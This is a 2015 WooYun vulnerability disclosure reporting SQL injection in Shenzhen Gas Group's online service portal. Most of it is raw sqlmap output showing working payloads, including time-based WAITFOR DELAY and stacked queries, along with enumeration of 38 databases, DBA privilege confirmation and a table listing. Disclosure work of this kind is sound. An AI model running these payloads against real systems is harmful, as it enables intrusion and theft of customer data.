缺陷编号:WooYun-2015-0130688
漏洞标题:上市公司深圳燃气集团的网上营业厅存在sql注入漏洞(root权限)大量用户资料暴露
相关厂商:深圳燃气集团
漏洞作者:jiankeabc
提交时间:2015-07-31 16:10
公开时间:2015-09-17 16:06
漏洞类型:SQL注射漏洞
危害等级:中
自评Rank:10
漏洞状态:已交由第三方合作机构(广东省信息安全测评中心)处理
Tags标签:
2015-07-31: 细节已通知厂商并且等待厂商处理中
2015-08-03: 厂商已经确认,细节仅向厂商公开
2015-08-13: 细节向核心白帽子及相关领域专家公开
2015-08-23: 细节向普通白帽子公开
2015-09-02: 细节向实习白帽子公开
2015-09-17: 细节向公众公开
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 |
[email protected]:~# sqlmap -u "http://**.**.**.**/Guide/GuideDetail.aspx?module=4214&id=156" -p idsqlmap/1.0-dev - automatic SQL injection and database takeover tool<br> http://**.**.**.**[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 12:26:31[12:26:32] [INFO] testing connection to the target URL<br> [12:26:33] [INFO] testing if the target URL is stable. This can take a couple of seconds<br> [12:26:34] [INFO] target URL is stable<br> [12:26:34] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable<br> [12:26:34] [INFO] testing for SQL injection on GET parameter 'id'<br> [12:26:34] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'<br> [12:26:36] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable<br> [12:26:38] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'Microsoft SQL Server'<br> do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1)? [Y/n] y<br> [12:26:41] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'<br> [12:26:41] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'<br> [12:26:41] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'<br> [12:26:41] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'<br> [12:26:41] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'<br> [12:26:42] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause'<br> [12:26:42] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (IN)'<br> [12:26:42] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace'<br> [12:26:43] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace (integer column)'<br> [12:26:43] [INFO] testing 'MySQL inline queries'<br> [12:26:43] [INFO] testing 'PostgreSQL inline queries'<br> [12:26:43] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'<br> [12:26:44] [INFO] testing 'Oracle inline queries'<br> [12:26:44] [INFO] testing 'SQLite inline queries'<br> [12:26:44] [INFO] testing 'MySQL > 5.0.11 stacked queries'<br> [12:26:44] [WARNING] time-based comparison requires larger statistical model, please wait.<br> [12:26:45] [INFO] testing 'PostgreSQL > 8.1 stacked queries'<br> [12:26:45] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'<br> [12:26:55] [INFO] GET parameter 'id' seems to be 'Microsoft SQL Server/Sybase stacked queries' injectable<br> [12:26:55] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'<br> [12:27:06] [INFO] GET parameter 'id' seems to be 'Microsoft SQL Server/Sybase time-based blind' injectable<br> [12:27:06] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'<br> [12:27:06] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found<br> GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n<br> sqlmap identified the following injection points with a total of 56 HTTP(s) requests:<br> ---<br> Place: GET<br> Parameter: id<br> Type: boolean-based blind<br> Title: AND boolean-based blind - WHERE or HAVING clause<br> Payload: module=4214&id=156 AND 4296=4296Type: stacked queries<br> Title: Microsoft SQL Server/Sybase stacked queries<br> Payload: module=4214&id=156; WAITFOR DELAY '0:0:5'--Type: AND/OR time-based blind<br> Title: Microsoft SQL Server/Sybase time-based blind<br> Payload: module=4214&id=156 WAITFOR DELAY '0:0:5'--<br> ---<br> [12:27:25] [INFO] testing Microsoft SQL Server<br> [12:27:26] [INFO] confirming Microsoft SQL Server<br> [12:27:27] [INFO] the back-end DBMS is Microsoft SQL Server<br> web server operating system: Windows 2008 R2 or 7<br> web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5<br> back-end DBMS: Microsoft SQL Server 2008<br> [12:27:27] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/**.**.**.**'[*] shutting down at 12:27:27[email protected]:~# sqlmap -u "http://**.**.**.**/Guide/GuideDetail.aspx?module=4214&id=156" -p id --dbssqlmap/1.0-dev - automatic SQL injection and database takeover tool<br> http://**.**.**.**[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 12:27:47[12:27:48] [INFO] resuming back-end DBMS 'microsoft sql server'<br> [12:27:48] [INFO] testing connection to the target URL<br> sqlmap identified the following injection points with a total of 0 HTTP(s) requests:<br> ---<br> Place: GET<br> Parameter: id<br> Type: boolean-based blind<br> Title: AND boolean-based blind - WHERE or HAVING clause<br> Payload: module=4214&id=156 AND 4296=4296Type: stacked queries<br> Title: Microsoft SQL Server/Sybase stacked queries<br> Payload: module=4214&id=156; WAITFOR DELAY '0:0:5'--Type: AND/OR time-based blind<br> Title: Microsoft SQL Server/Sybase time-based blind<br> Payload: module=4214&id=156 WAITFOR DELAY '0:0:5'--<br> ---<br> [12:27:49] [INFO] the back-end DBMS is Microsoft SQL Server<br> web server operating system: Windows 2008 R2 or 7<br> web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5<br> back-end DBMS: Microsoft SQL Server 2008<br> [12:27:49] [INFO] fetching database names<br> [12:27:49] [INFO] fetching number of databases<br> [12:27:49] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval<br> [12:27:49] [INFO] retrieved: 38<br> [12:27:53] [INFO] retrieved: CIS<br> [12:28:00] [INFO] retrieved: CKGLDB<br> [12:28:10] [INFO] retrieved: DATABASE_1<br> [12:28:29] [INFO] retrieved: distribution<br> [12:28:57] [INFO] retrieved: Dymoware20<br> [12:29:17] [INFO] retrieved: Foglight_DB<br> [12:29:45] [INFO] retrieved: GASPIPE<br> [12:29:59] [INFO] retrieved: GASUSER<br> [12:30:19] [INFO] retrieved: GASUSER_keep<br> [12:30:46] [INFO] retrieved: GASUSERCHG<br> [12:31:08] [INFO] retrieved: GASUSERFILE<br> [12:31:41] [INFO] retrieved: GASUSERTELE<br> [12:32:05] [INFO] retrieved: GDQGQYTL<br> [12:32:21] [INFO] retrieved: GDQGYH<br> [12:32:33] [INFO] retrieved: GDQSYYH<br> [12:32:52] [INFO] retrieved: GDQSYYH_LNG<br> [12:33:19] [INFO] retrieved: LGRQCRM<br> [12:33:36] [INFO] retrieved: master<br> [12:33:50] [INFO] retrieved: model<br> [12:34:06] [INFO] retrieved: msdb<br> [12:34:15] [INFO] retrieved: NETBIZHALL<br> [12:34:44] [INFO] retrieved: Oips<br> [12:34:52] [INFO] retrieved: PlatForm<br> [12:35:17] [INFO] retrieved: ReportServer<br> [12:35:41] [INFO] retrieved: ReportServerTempDB<br> [12:36:24] [INFO] retrieved: SAVEDATA2003<br> [12:36:53] [INFO] retrieved: SAVEDATA2004<br> [12:37:15] [INFO] retrieved: SAVEDATA2005<br> [12:37:35] [INFO] retrieved: SAVEDATA2006<br> [12:37:56] [INFO] retrieved: SAVEDATA2007<br> [12:38:17] [INFO] retrieved: SAVEDATA2008<br> [12:38:38] [INFO] retrieved: SAVEDATA2009<br> [12:38:58] [INFO] retrieved: SUPERSEARCH<br> [12:39:16] [INFO] retrieved: SZGASCloudServer<br> [12:39:41] [INFO] retrieved: szgaspiping<br> [12:40:00] [INFO] retrieved: tempdb<br> [12:40:12] [INFO] retrieved: Test<br> [12:40:20] [INFO] retrieved: zhu<br> available databases [38]:<br> [*] CIS<br> [*] CKGLDB<br> [*] DATABASE_1<br> [*] distribution<br> [*] Dymoware20<br> [*] Foglight_DB<br> [*] GASPIPE<br> [*] GASUSER<br> [*] GASUSER_keep<br> [*] GASUSERCHG<br> [*] GASUSERFILE<br> [*] GASUSERTELE<br> [*] GDQGQYTL<br> [*] GDQGYH<br> [*] GDQSYYH<br> [*] GDQSYYH_LNG<br> [*] LGRQCRM<br> [*] master<br> [*] model<br> [*] msdb<br> [*] NETBIZHALL<br> [*] Oips<br> [*] PlatForm<br> [*] ReportServer<br> [*] ReportServerTempDB<br> [*] SAVEDATA2003<br> [*] SAVEDATA2004<br> [*] SAVEDATA2005<br> [*] SAVEDATA2006<br> [*] SAVEDATA2007<br> [*] SAVEDATA2008<br> [*] SAVEDATA2009<br> [*] SUPERSEARCH<br> [*] SZGASCloudServer<br> [*] szgaspiping<br> [*] tempdb<br> [*] Test<br> [*] zhu[12:40:26] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/**.**.**.**'[*] shutting down at 12:40:26 |
1 2 3 4 5 6 7 8 9 |
Title: Microsoft SQL Server/Sybase time-based blind<br> Payload: module=4214&id=156 WAITFOR DELAY '0:0:5'--<br> ---<br> [12:42:42] [INFO] the back-end DBMS is Microsoft SQL Server<br> web server operating system: Windows 2008 R2 or 7<br> web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5<br> back-end DBMS: Microsoft SQL Server 2008<br> [12:42:42] [INFO] testing if current user is DBA<br>current user is DBA: True<br> [12:42:42] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/**.**.**.**' |
跑了其中一个数据库,信息量实在是太大了,时间上耗不起,这里只是证明存在漏洞,Database: DATABASE_1[49 tables]+------------------------------------+| KJ_BACKGROUD || KJ_BACKGROUD2 || KJ_BASEINFO || KJ_BPINFO || KJ_CONSTRUCTIONCONDITIONS || KJ_NEWTECHPROJECT || KJ_SBCHECKINFO || LC_DICTIONARY || LC_MODULE || LC_MODULE_OPERATION || LC_OPERATION || LC_OPRATION_LOG || LC_ORGANIZATION || LC_ROLE || LC_ROLE_PERMISSION || LC_RUNTIME_LOG || LC_USER || LC_USER_PERMISSION || LC_USER_ROLE || PS_EXPERTSLIST || PS_REVIEWINFO || SB_PROCESSSTATE || SB_PROJECTINFO || SF_BASEINFO || SF_COMPANBASEINFO || SF_MANAGE || SF_SBCHECKINFO || SF_TAGETANDCONTENT || XM_BASEINFO || XM_COMPANBASEINFO || XM_MANAGE || XM_SBCHECKINFO || XM_SBPROJECT || XN_ABOUTJG || XN_DEVICELIST || XN_DEVICEMENU || XN_DURABLESAFETYSAFEGUARDMEASURES2 || XN_ECONOMYSAFEGUARDMEASURES || XN_ENVIRONMENTSAFEGUARDMEASURES || XN_PROJECTINFO || XN_SAFETYSAFEGUARDMEASURES || XN_SUITSAFEGUARDMEASURES || XN_XNEXPERTSOPINION || XN_XNMETAPHASEEXPERTSOPINION || XN_XNSOPINIONRESULT || ZF_COMPANYINFO || ZF_COMPANYINFOCHECK || ZF_DATAATTACHMENT || ZF_EXPERTSINFO |+------------------------------------+[13:34:35] [INFO] fetched data logged to text不跑了,实在太多了
营业厅功能,拿下一个能干满多事的呢,好了,就到这吧
危害等级:高
漏洞Rank:10
确认时间:2015-08-0316:05
非常感谢您的报告。
报告中的问题已确认并复现.
影响的数据:高
攻击成本:低
造成影响:高
综合评级为:高,rank:10
正在联系相关网站管理单位处置。
暂无
原文连接
的情况下转载,若非则不得使用我方内容。